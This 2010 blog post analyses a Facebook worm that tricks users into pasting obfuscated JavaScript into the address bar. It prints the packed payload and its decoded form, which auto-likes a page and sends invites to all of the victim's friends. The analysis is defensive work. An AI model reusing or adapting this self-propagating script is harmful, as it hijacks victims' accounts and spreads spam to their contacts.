13 May 2010

Those darn Facebook scammers!

I've lately received a few spammish Facebook "suggestions":
  • Subject: [name withheld] suggested you become a fan of *Whole Foods Market*FREE $500 Gift Card* Limited - first 1...
  • Subject: [name withheld] suggested you become a fan of SEE WHO'S VIEWING YOUR PROFILE NOW!..
  • Subject: [name withheld] suggested you like How a Competition Ended a 10 Year Marriage - Video...
  • Subject: [name withheld] suggested you like PROVEN - Most Adults CANNOT solve th!s YET Almost ALL children CAN...


All of the [name withheld]s were people I know who'd evidently been duped in some way or other. Since the very last one was a computer scientist at a very famous Eastern university, I had to figure out how they'd done it. I defanged whatever evils lurked on the page by clearing my Facebook cookies, then Googled the "most adults" subject line to find the page. (I didn't want to click the link, in case it included some identifier that would let the evil app work even without my having logged in.)

The page contained a "riddle" (formatted as an image, possibly to defeat a text-search for this scam):


...followed by a "click for solution" button that ran clever little JavaScript program. First it asked me to hold down the Control key. Any adult can do that, right? Then "C". Then it told me it had copied something to my clipboard. Clever. It must have been from a hidden selection area. Then it asked me to press and hold "Alt", then press "D" to select the address bar. Finally, it asked me to press "Control" and then "V", followed by Enter. I wasn't logged in, so this didn't do anything but bring up a "Loading..." box. This was the code snippet, prefixed with "javascript:" to make it executable in the location bar.

(I have changed the app ID 120715334615757 to XYZ just to make it harder for someone to inadvertently run this code.)


function(){a='appXYZ_jop';b='appXYZ_jode';ifc='appXYZ_ifc';ifo='appXYZ_ifo';mw='appXYZ_mwrapper';eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('J e=["\\n\\g\\j\\g\\F\\g\\i\\g\\h\\A","\\j\\h\\A\\i\\f","\\o\\f\\h\\q\\i\\f\\r\\f\\k\\h\\K\\A\\L\\t","\\w\\g\\t\\t\\f\\k","\\g\\k\\k\\f\\x\\M\\N\\G\\O","\\n\\l\\i\\y\\f","\\j\\y\\o\\o\\f\\j\\h","\\i\\g\\H\\f\\r\\f","\\G\\u\\y\\j\\f\\q\\n\\f\\k\\h\\j","\\p\\x\\f\\l\\h\\f\\q\\n\\f\\k\\h","\\p\\i\\g\\p\\H","\\g\\k\\g\\h\\q\\n\\f\\k\\h","\\t\\g\\j\\z\\l\\h\\p\\w\\q\\n\\f\\k\\h","\\j\\f\\i\\f\\p\\h\\v\\l\\i\\i","\\j\\o\\r\\v\\g\\k\\n\\g\\h\\f\\v\\P\\u\\x\\r","\\B\\l\\Q\\l\\R\\B\\j\\u\\p\\g\\l\\i\\v\\o\\x\\l\\z\\w\\B\\g\\k\\n\\g\\h\\f\\v\\t\\g\\l\\i\\u\\o\\S\\z\\w\\z","\\j\\y\\F\\r\\g\\h\\T\\g\\l\\i\\u\\o"];d=U;d[e[2]](V)[e[1]][e[0]]=e[3];d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]];s=d[e[2]](e[6]);m=d[e[2]](e[7]);c=d[e[9]](e[8]);c[e[11]](e[10],I,I);s[e[12]](c);C(D(){W[e[13]]()},E);C(D(){X[e[16]](e[14],e[15])},E);C(D(){m[e[12]](c);d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]},E);',62,69,'||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document|mw|fs|SocialGraphManager|ifo|ifc|||||||'.split('|'),0,{}))})();


That was enlightening.

If you replace eval( with alert( and run this code, you'll strip off the first layer of obfuscation:


var _0x95ea=["\x76\x69\x73\x69\x62\x69\x6C\x69\x74\x79","\x73\x74\x79\x6C\x65","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x68\x69\x64\x64\x65\x6E","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x76\x61\x6C\x75\x65","\x73\x75\x67\x67\x65\x73\x74","\x6C\x69\x6B\x65\x6D\x65","\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73","\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74","\x63\x6C\x69\x63\x6B","\x69\x6E\x69\x74\x45\x76\x65\x6E\x74","\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74","\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C","\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D","\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70","\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67"];d=document;d[_0x95ea[2]](mw)[_0x95ea[1]][_0x95ea[0]]=_0x95ea[3];d[_0x95ea[2]](a)[_0x95ea[4]]=d[_0x95ea[2]](b)[_0x95ea[5]];s=d[_0x95ea[2]](_0x95ea[6]);m=d[_0x95ea[2]](_0x95ea[7]);c=d[_0x95ea[9]](_0x95ea[8]);c[_0x95ea[11]](_0x95ea[10],true,true);s[_0x95ea[12]](c);setTimeout(function(){fs[_0x95ea[13]]()},5000);setTimeout(function(){SocialGraphManager[_0x95ea[16]](_0x95ea[14],_0x95ea[15])},5000);setTimeout(function(){m[_0x95ea[12]](c);d[_0x95ea[2]](ifo)[_0x95ea[4]]=d[_0x95ea[2]](ifc)[_0x95ea[5]]},5000);


The \x?? junk looks like hexadecimal escapes, so let's run those through a tiny Python program to decode them:


import re, sys
base = r"""{insert the code here}"""
last = 0
for obj in re.finditer(r"\\x[0-9a-fA-F][0-9a-fA-F]", base):
sys.stdout.write(base[last:obj.start()])
#sys.stdout.write(base[obj.start():obj.end()])
item = chr(int(base[obj.start():obj.end()].replace("\\x",""),16))
sys.stdout.write(item)
last = obj.end()
sys.stdout.write(base[last:])


Off comes the second layer of obfuscation:


var _0x95ea=["visibility","style","getElementById","hidden","innerHTML","value","suggest","likeme","MouseEvents","createEvent","click","initEvent","dispatchEvent","select_all","sgm_invite_form","/ajax/social_graph/invite_dialog.php","submitDialog"];d=document;d[_0x95ea[2]](mw)[_0x95ea[1]][_0x95ea[0]]=_0x95ea[3];d[_0x95ea[2]](a)[_0x95ea[4]]=d[_0x95ea[2]](b)[_0x95ea[5]];s=d[_0x95ea[2]](_0x95ea[6]);m=d[_0x95ea[2]](_0x95ea[7]);c=d[_0x95ea[9]](_0x95ea[8]);c[_0x95ea[11]](_0x95ea[10],true,true);s[_0x95ea[12]](c);setTimeout(function(){fs[_0x95ea[13]]()},5000);setTimeout(function(){SocialGraphManager[_0x95ea[16]](_0x95ea[14],_0x95ea[15])},5000);setTimeout(function(){m[_0x95ea[12]](c);d[_0x95ea[2]](ifo)[_0x95ea[4]]=d[_0x95ea[2]](ifc)[_0x95ea[5]]},5000);


Now, if we run this through a JavaScript beautifier, we can strip off one more layer. This beautifier appears to have partially evaluated the code, kindly substituting references to the array _0x95ea with the corresponding values:


d = document;
d['getElementById'](mw)['style']['visibility'] = 'hidden';
d['getElementById'](a)['innerHTML'] = d['getElementById'](b)['value'];
s = d['getElementById']('suggest');
m = d['getElementById']('likeme');
c = d['createEvent']('MouseEvents');
c['initEvent']('click', true, true);
s['dispatchEvent'](c);
setTimeout(function () {
fs['select_all']()
}, 5000);
setTimeout(function () {
SocialGraphManager['submitDialog']('sgm_invite_form', '/ajax/social_graph/invite_dialog.php')
}, 5000);
setTimeout(function () {
m['dispatchEvent'](c);
d['getElementById'](ifo)['innerHTML'] = d['getElementById'](ifc)['value']
}, 5000);


I'm not going to do a complete trace, but it's pretty clear from the above that the code is telling Facebook to "like" an application, waiting five seconds, then submitting a the form that sends the "like" suggestion to all of your friends. Ouch.

4 comments:

  1. Found this today as well and reported it to Facebook. Seems that these things are spreading very fast. Hope that they will do something about it.

    ReplyDelete
  2. If I ciicked on this this morning, is there a way to get rid of it? Did it infect my computer?

    ReplyDelete
  3. @Russ Most likely it didn't infect your computer. The variant of the worm which I investigated (and which seems very similar to Joseph's one) was just sending emails to all the friends inviting them to "Like" the worm's profile.

    ReplyDelete
  4. @catalin -Right on... Thanks very much!

    ReplyDelete

About Me

blog at barillari dot org Older posts at http://barillari.org/blog